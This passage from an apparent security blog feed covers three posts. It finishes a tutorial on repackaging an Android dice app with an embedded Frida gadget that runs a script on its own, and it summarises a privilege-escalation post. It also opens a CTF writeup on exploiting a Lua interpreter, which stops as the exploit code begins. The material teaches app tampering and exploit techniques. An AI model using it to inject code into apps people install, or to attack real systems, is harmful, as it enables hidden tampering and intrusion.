class=\"nx\"\u003euse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;org.secuso.privacyfriendlydicer.dicer.Dicer\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003edicer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erollDice\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eimplementation\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003enumDice\u003c/span\u003e: \u003cspan class=\"kt\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003enumFaces\u003c/span\u003e: \u003cspan class=\"kt\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003eArray\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003enumDice\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003efill\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eIn order to compile this mod, we first need to pull the bridge package:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003enpm install frida-java-bridge\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eAnd then we can compile things with:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003enpm run build\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eThe npm script simply calls \u003ccode\u003efrida-compile\u003c/code\u003e with the correct arguments (you can inspect them in the \u003ccode\u003epackage.json\u003c/code\u003e file).\u003c/p\u003e\n\u003cp\u003eBefore moving on to the distribution part, it\u0026rsquo;s important to test the mod. That can be done by invoking the app with frida, loading the script:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003efrida -U -f org.secuso.privacyfriendlydicer -l _agent.js\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eWhich shows that, no matter what, we now really suck at this game:\u003c/p\u003e\n\u003cimg src=\"https://cdn.jsdelivr.net/gh/suidpit/images@master/uPic/image-20251023130139530.png\" style=\"zoom:40%\"/\u003e\n\u003cp\u003eOk, mod has been confirmed, we can continue with distribution.\u003c/p\u003e\n\u003ch2 id=\"mod-distribution\"\u003eMod Distribution\u003c/h2\u003e\n\u003cp\u003eOne of the \u003cem\u003efrida essentials\u003c/em\u003e is that frida must inject an agent in the target process in order to do its magic. How frida does so depends on its \u003ca href=\"https://frida.re/docs/modes/\"\u003emode of operation\u003c/a\u003e:  when a \u003ccode\u003efrida-server\u003c/code\u003e is running on the device, the \u003ccode\u003efrida-tools\u003c/code\u003e such as the REPL or \u003ccode\u003efrida-trace\u003c/code\u003e can contact the server, either via USB or network, and the server takes care of injecting the agent into a running process – or spawning it in the first place.\u003c/p\u003e\n\u003cp\u003eBut this is not the only way!\u003c/p\u003e\n\u003cp\u003eIn fact, the \u003ccode\u003efrida-gadget\u003c/code\u003e – which is essentially a dynamic library, AKA an \u003ccode\u003e.so\u003c/code\u003e file in Android – can be directly embedded into the app. This way, we can use frida in jailed/unrooted devices where running the privileged \u003ccode\u003efrida-server\u003c/code\u003e is not feasible. But there\u0026rsquo;s also another important advantage: in its \u003cem\u003egadget embedding\u003c/em\u003e mode, frida provides autonomous script execution, which means that the app loads and executes the agent without any interaction from outside tooling. And this is exactly what we want to use for mod distribution.\u003c/p\u003e\n\u003ch3 id=\"easy-patching-via-objection\"\u003eEasy Patching via Objection\u003c/h3\u003e\n\u003cp\u003eThere are some steps involved with embedding the \u003ccode\u003efrida-gadget\u003c/code\u003e library and configuring it for autonomous script execution. Luckily, we can use the good old \u003ca href=\"https://github.com/sensepost/objection\"\u003eobjection\u003c/a\u003e suite to automate the workflow.\u003c/p\u003e\n\u003cp\u003eFirst, we compile again the agent, in its root directory:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e❯ npm run build\n\n\u0026gt; dice-agent@1.0.0 build\n\u0026gt; frida-compile agent/index.ts -o _agent.js -c\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThen, we need to create the \u003ccode\u003efrida-gadget\u003c/code\u003e configuration file. For autonomous script execution, the configuration should have the following content:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nt\"\u003e\u0026#34;interaction\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;script\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026#34;path\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;libfrida-gadget.script.so\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eWe will name this file \u003ccode\u003egadget-config.json\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eTime to let \u003ccode\u003eobjection\u003c/code\u003e do its magic:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e❯ objection patchapk -s org.secuso.privacyfriendlydicer.apk -c gadget-config.js -l mod/_agent.js --use-aapt2\n\nNo architecture specified. Determining it using `adb`...\nDetected target device architecture as: arm64-v8a\nUsing latest Github gadget version: 17.4.0\nPatcher will be using Gadget version: 17.4.0\nDetected apktool version as: 2.10.0\nRunning apktool empty-framework-dir...\nI: Removing 1.apk framework file...\nUnpacking org.secuso.privacyfriendlydicer.apk\nApp does not have android.permission.INTERNET, attempting to patch the AndroidManifest.xml...\nInjecting permission: android.permission.INTERNET\nWriting new Android manifest...\nTarget class not specified, searching for launchable activity instead...\nReading smali from: /var/folders/rf/d9x9khyd5_97nl6smljm_dfh0000gn/T/tmpgl2pg4r7.apktemp/smali/org/secuso/privacyfriendlydicer/ui/SplashActivity.smali\nInjecting loadLibrary call at line: 6\nAttempting to fix the constructors .locals count\nCurrent locals value is 0, updating to 1:\nWriting patched smali back to: /var/folders/rf/d9x9khyd5_97nl6smljm_dfh0000gn/T/tmpgl2pg4r7.apktemp/smali/org/secuso/privacyfriendlydicer/ui/SplashActivity.smali\nCreating library path: /var/folders/rf/d9x9khyd5_97nl6smljm_dfh0000gn/T/tmpgl2pg4r7.apktemp/lib/arm64-v8a\nCopying Frida gadget to libs path...\nAdding a gadget configuration file...\nCopying over a custom script to use with the gadget config.\nRebuilding the APK with the frida-gadget loaded...\nBuilt new APK with injected loadLibrary and frida-gadget\nPerforming zipalign\nZipalign completed\nSigning new APK.                                                                                     Signing the new APK may have failed.\n\nWARNING: A restricted method in java.lang.System has been called                                     WARNING: java.lang.System::loadLibrary has been called by org.conscrypt.NativeLibraryUtil in an unnamed module (file:/Users/madt1m/Library/Android/sdk/build-tools/34.0.0/lib/apksigner.jar)\nWARNING: Use --enable-native-access=ALL-UNNAMED to avoid a warning for callers in this module\nWARNING: Restricted methods will be blocked in a future release unless native access is enabled\n\n\nSigned the new APK\nCopying final apk from /var/folders/rf/d9x9khyd5_97nl6smljm_dfh0000gn/T/tmpgl2pg4r7.apktemp.aligned.objection.apk to org.secuso.privacyfriendlydicer.objection.apk in current directory...\nCleaning up temp files...\n\u003c/code\u003e\u003c/pre\u003e\u003cblockquote\u003e\n\u003cp\u003eWe can ignore – just this time, never ignore warnings – the big red WARNING produced by Java for \u003ccode\u003eapksigner.jar\u003c/code\u003e.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eAfter running the command, you should see a file named \u003ccode\u003e\u0026lt;original_apk_name\u0026gt;.objection.apk\u003c/code\u003e in the current directory. That\u0026rsquo;s the modded APK!\u003c/p\u003e\n\u003cp\u003eWe can now confirm that the modded app works by uninstalling the original app, reinstalling the modded APK, unplugging the USB cable from the phone, running the app and notice that we still suck at throwing dice 🚀🚀🚀\u003c/p\u003e\n\u003cimg src=\"https://cdn.jsdelivr.net/gh/suidpit/images@master/uPic/record.gif\" style=\"zoom:40%\"/\u003e\n\u003ch3 id=\"notes-for-split-apks\"\u003e(NOTES FOR SPLIT APKs)\u003c/h3\u003e\n\u003cp\u003eIn case your target app is made of multiple (split) APKs, the tool should always be launched against the base APK, that is, the one that contains the \u003ccode\u003eMainActivity\u003c/code\u003e of the application.\u003c/p\u003e\n\u003cp\u003eMoreover, once the modded APK has been produced, you will need to sign the other split APKs with the same key that \u003ccode\u003eobjection\u003c/code\u003e used. You can use \u003ccode\u003eobjection signapk apk1, apk2, ...\u003c/code\u003e for this.\u003c/p\u003e\n\u003cp\u003eLast but not least, the split APKs must be installed together. You can do this via \u003ccode\u003eadb install-multiple apk1, apk2, ...\u003c/code\u003e, but this isn\u0026rsquo;t great for distribution, right? Much better to merge the split APKs into a single one via \u003ca href=\"https://github.com/REAndroid/APKEditor\"\u003ehttps://github.com/REAndroid/APKEditor\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"bonus---how-the-sausage-is-made\"\u003eBonus - How The Sausage Is Made\u003c/h2\u003e\n\u003cp\u003eDepending on tools is all good and allows for quick mod developments, but what if things break? In this bonus section, I\u0026rsquo;ll peek into the \u003ccode\u003eobjection\u003c/code\u003e magic.\u003c/p\u003e\n\u003cp\u003eThe first step is to extract both the APKs (the original and the modded):\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e❯ apktool d org.secuso.privacyfriendlydicer.apk\nI: Using Apktool 2.10.0 on org.secuso.privacyfriendlydicer.apk with 8 thread(s).\nI: Baksmaling classes.dex...\nI: Loading resource table...\nI: Decoding file-resources...\nI: Loading resource table from file: /Users/madt1m/Library/apktool/framework/1.apk\nI: Decoding values */* XMLs...\nI: Decoding AndroidManifest.xml with resources...\nI: Regular manifest package...\nI: Copying assets and libs...\nI: Copying unknown files...\nI: Copying original files...\nI: Copying META-INF/services directory\n\n❯ apktool d org.secuso.privacyfriendlydicer.objection.apk\nI: Using Apktool 2.10.0 on org.secuso.privacyfriendlydicer.objection.apk with 8 thread(s).\nI: Baksmaling classes.dex...\nI: Loading resource table...\nI: Decoding file-resources...\nI: Loading resource table from file: /Users/madt1m/Library/apktool/framework/1.apk\nI: Decoding values */* XMLs...\nI: Decoding AndroidManifest.xml with resources...\nI: Regular manifest package...\nI: Copying assets and libs...\nI: Copying unknown files...\nI: Copying original files...\nI: Copying META-INF/services directory\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eWe can resort to a simple diff to see what changed:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e diff -r org.secuso.privacyfriendlydicer org.secuso.privacyfriendlydicer.objection\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eThe output of this command is quite large and contains a lot of unimportant changes. However, we can quickly spot the important parts:\u003c/p\u003e\n\u003ch3 id=\"androidpermissioninternet\"\u003eandroid.permission.INTERNET\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ediff --color -r org.secuso.privacyfriendlydicer/AndroidManifest.xml org.secuso.privacyfriendlydicer.objection/AndroidManifest.xml\n33a34\n\u0026gt;     \u0026lt;uses-permission android:name=\u0026#34;android.permission.INTERNET\u0026#34;/\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003ccode\u003eobjection\u003c/code\u003e patched the Android manifest to include the \u003ccode\u003eINTERNET\u003c/code\u003e permission. This is needed in case we needed to run the \u003ccode\u003efrida-gadget\u003c/code\u003e in listen mode, to allow connections from the \u003ccode\u003efrida-tools\u003c/code\u003e. We don\u0026rsquo;t actually need this for our mode of operation.\u003c/p\u003e\n\u003ch3 id=\"libdirectory\"\u003e\u003ccode\u003elib\u003c/code\u003e directory\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eOnly in org.secuso.privacyfriendlydicer.objection: lib\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eA new directory was added to the modded apk:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e❯ tree lib\nlib\n└── arm64-v8a\n    ├── libfrida-gadget.config.so\n    ├── libfrida-gadget.script.so\n    └── libfrida-gadget.so\n\n2 directories, 3 files\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThese are, respectively:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003efrida-gadget\u003c/code\u003e configuration.\u003c/li\u003e\n\u003cli\u003eThe agent.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003efrida-gadget\u003c/code\u003e library itself.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eEssentially, \u003ccode\u003eobjection\u003c/code\u003e is adding a new native library to the APK, and it\u0026rsquo;s setting up the autonomous agent and the configuration just where \u003ccode\u003efrida\u003c/code\u003e expects them to be.\u003c/p\u003e\n\u003ch3 id=\"library-loading\"\u003eLibrary Loading\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ediff --color -r org.secuso.privacyfriendlydicer/smali/org/secuso/privacyfriendlydicer/ui/SplashActivity.smali org.secuso.privacyfriendlydicer.objection/smali/org/secuso/privacyfriendlydicer/ui/SplashActivity.smali\n6a7,17\n\u0026gt; .method static constructor \u0026lt;clinit\u0026gt;()V\n\u0026gt;     .locals 1\n\u0026gt;\n\u0026gt;     .prologue\n\u0026gt;     const-string v0, \u0026#34;frida-gadget\u0026#34;\n\u0026gt;\n\u0026gt;     invoke-static {v0}, Ljava/lang/System;-\u0026gt;loadLibrary(Ljava/lang/String;)V\n\u0026gt;\n\u0026gt;     return-void\n\u0026gt; .end method\n\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThis is \u003ccode\u003esmali\u003c/code\u003e assembly that implements the \u003ccode\u003eSystem.loadLibrary(\u0026quot;frida-gadget\u0026quot;)\u003c/code\u003e method call. The latter loads the \u003ccode\u003efrida-gadget\u003c/code\u003e library that lives in the \u003ccode\u003elib\u003c/code\u003e directory.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003e.method static constructor \u0026lt;clinit\u0026gt;()V\u003c/code\u003e line defines a \u003cstrong\u003estatic constructor\u003c/strong\u003e for the class, so that it will run a single time, when the \u003ccode\u003eSplashActivity\u003c/code\u003e class is first loaded by the Dalvik VM.\u003c/p\u003e\n\u003cp\u003eAs expected, the activity we\u0026rsquo;re injecting is the main activity of the application, that is, the one that is created and called when the application spawns. We can verify this by inspecting the Android manifest:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;activity\u003c/span\u003e \u003cspan class=\"na\"\u003eandroid:exported=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;true\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eandroid:name=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;org.secuso.privacyfriendlydicer.ui.SplashActivity\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eandroid:theme=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;@style/SplashTheme\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nt\"\u003e\u0026lt;intent-filter\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nt\"\u003e\u0026lt;action\u003c/span\u003e \u003cspan class=\"na\"\u003eandroid:name=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;android.intent.action.MAIN\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nt\"\u003e\u0026lt;category\u003c/span\u003e \u003cspan class=\"na\"\u003eandroid:name=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;android.intent.category.LAUNCHER\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nt\"\u003e\u0026lt;/intent-filter\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;/activity\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"conclusions\"\u003eConclusions\u003c/h2\u003e\n\u003cp\u003eIt happened to me more than once that I wanted to package and distribute applications modded with \u003ccode\u003efrida\u003c/code\u003e. It made sense to write a blogpost, so that I can store this workflow somewhere, and maybe others can find it useful, too.\u003c/p\u003e\n\u003cp\u003eHappy hacking!\u003c/p\u003e\n","summary":"Walkthrough of how to embed frida scripts in apps to distribute proper mods. Supports frida 17+.","date_published":"2025-10-23T12:30:00+01:00"},{"id":"https://suidpit.sh/posts/2024-09-20-sudo-iptables-privesc/","url":"https://suidpit.sh/posts/2024-09-20-sudo-iptables-privesc/","title":"A journey from `sudo` iptables to local privilege escalation","content_html":"","summary":"You\u0026rsquo;ve landed on a network appliance and you need those fancy privileges? Don\u0026rsquo;t worry, I\u0026rsquo;ve got your back!","date_published":"2024-09-20T12:30:00+01:00"},{"id":"https://suidpit.sh/posts/2024-09-12-escape_alcawasm/","url":"https://suidpit.sh/posts/2024-09-12-escape_alcawasm/","title":"AlcaWASM challenge writeup - Pwning an in-browser Lua interpreter","content_html":"\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eAt some point, some weeks ago, I\u0026rsquo;ve stumbled upon \u003ca href=\"https://memorycorruption.net/posts/rce-lua-factorio/\"\u003ethis fascinating read\u003c/a\u003e.\nIn it, the author thoroughly explains an RCE\n(Remote Code Execution) they found on the Lua interpreter used in the\n\u003ca href=\"https://www.factorio.com/\"\u003eFactorio\u003c/a\u003e game. I heartily recommend anyone\ninterested in game scripting, exploit development, or just cool low-level hacks,\nto check out the blogpost \u0026ndash; as it contains a real wealth of insights.\u003c/p\u003e\n\u003cp\u003eThe author topped this off by releasing a companion challenge to the writeup;\nit consists of a Lua interpreter, running in-browser, for readers to exploit on\ntheir own. Solving the challenge was a fun ride and a great addition to the content!\u003c/p\u003e\n\u003cp\u003eThe challenge is different enough from the blogpost that it makes\nsense to document a writeup. Plus, I find enjoyment in writing, so there\u0026rsquo;s that.\u003c/p\u003e\n\u003cp\u003eI hope you\u0026rsquo;ll find this content useful in your journey :)\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eInstead of repeating concepts that are - to me - already well explained\nin that resource, I have decided to focus on the new obstacles that I\nfaced while solving the challenge, and on new things I learned in the process.\nIf at any point the content of the writeup becomes cryptic, I\u0026rsquo;d suggest consulting\nthe blogpost to get some clarity on the techniques used.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"the-lab\"\u003eThe Lab\u003c/h2\u003e\n\u003cp\u003eThe challenge is available for anyone at \u003ca href=\"https://alcawasm.memorycorruption.net/\"\u003ehttps://alcawasm.memorycorruption.net/\u003c/a\u003e\n(and it does not require any login or registration).\u003c/p\u003e\n\u003cp\u003eWhen visiting it, you\u0026rsquo;re welcomed by the following UI:\u003c/p\u003e\n\u003cimg src=\"alcawasm_ui.png\" alt=\"AltImage\"\u003e\u003cp\u003eThese are the details of each section:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cem\u003eEditor\u003c/em\u003e: an \u003ca href=\"https://github.com/microsoft/monaco-editor\"\u003eembedded VSCode\u003c/a\u003e for\nconvenient scripting.\u003c/li\u003e\n\u003cli\u003e\u003cem\u003eConsole\u003c/em\u003e: a console connected to the output of the Lua interpreter.\u003c/li\u003e\n\u003cli\u003e\u003cem\u003eDefinitions\u003c/em\u003e: Useful definitions of the Lua interpreter, including paddings.\u003c/li\u003e\n\u003cli\u003e\u003cem\u003eGoals\u003c/em\u003e: a list of objectives towards finishing the challenge. They automatically\nupdate when a goal is reached, but I\u0026rsquo;ve found this to be a bit buggy, TBH.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eWorking on the UI is not too bad, but I strongly suggest to copy-paste the code\nquite often \u0026ndash; I don\u0026rsquo;t know how many times I\u0026rsquo;ve typed CMD+R instead of CMD+E\n(the shortcut to execute the code), reloading the page and losing my precious\nexperiments.\u003c/p\u003e\n\u003ch2 id=\"information-gathering\"\u003eInformation Gathering\u003c/h2\u003e\n\u003cp\u003eAfter playing for a bit with the interpreter, I quickly decided I wanted\nto save some time for my future self by understanding the environment a little\nbit better.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNote: this is, in my experience, a great idea. Always setup your lab!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eLuckily, this is as easy as opening DevTools and using our uberly refined\nl33t intuition skills to find how the Lua interpreter was embedded in the browser:\u003c/p\u003e\n\u003cimg src=\"alcawasm_osint_1.png\" alt=\"AltText\"\u003e\u003cp\u003eand a bit of GitHub\u0026hellip;\u003c/p\u003e\n\u003cimg src=\"alcawasm_osint2.png\" alt=\"AltText\"\u003e\u003cp\u003eWith these mad OSINT skillz, I learned that the challenge is built with \u003ca href=\"https://github.com/ceifa/wasmoon\"\u003ewasmoon\u003c/a\u003e,\na package that compiles the Lua v5.4 repository to WASM and then provides\nJS bindings to instantiate and control the interpreter.\u003c/p\u003e\n\u003cp\u003eThis assumption is quickly corroborated by executing the following:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-lua\" data-lang=\"lua\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_VERSION\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eThis prints out \u003ccode\u003eLua 5.4\u003c/code\u003e (you should try executing that code\nto start getting comfortable with the interface).\u003c/p\u003e\n\u003cp\u003eThis information is valuable for exploitation purposes, as it gives us the\nsource code of the interpreter, which can be fetched\nby cloning \u003ca href=\"https://github.com/lua/lua/tree/v5.4\"\u003ethe lua repository\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s dive in!\u003c/p\u003e\n\u003ch2 id=\"wait-its-all-tvalues\"\u003eWait, it\u0026rsquo;s all TValues?\u003c/h2\u003e\n\u003cp\u003eThe first goal of the challenge is to gain the ability to leak addresses\nof TValues (Lua variables) that we create \u0026ndash; AKA the \u003cem\u003eaddrof\u003c/em\u003e primitive.\u003c/p\u003e\n\u003cp\u003eIn the linked blogpost, the author shows how to confuse types in a for-loop\nto gain that. In particular, they use the following code to leak addresses:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e7\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-lua\" data-lang=\"lua\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003easnum\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eload\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring.dump\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 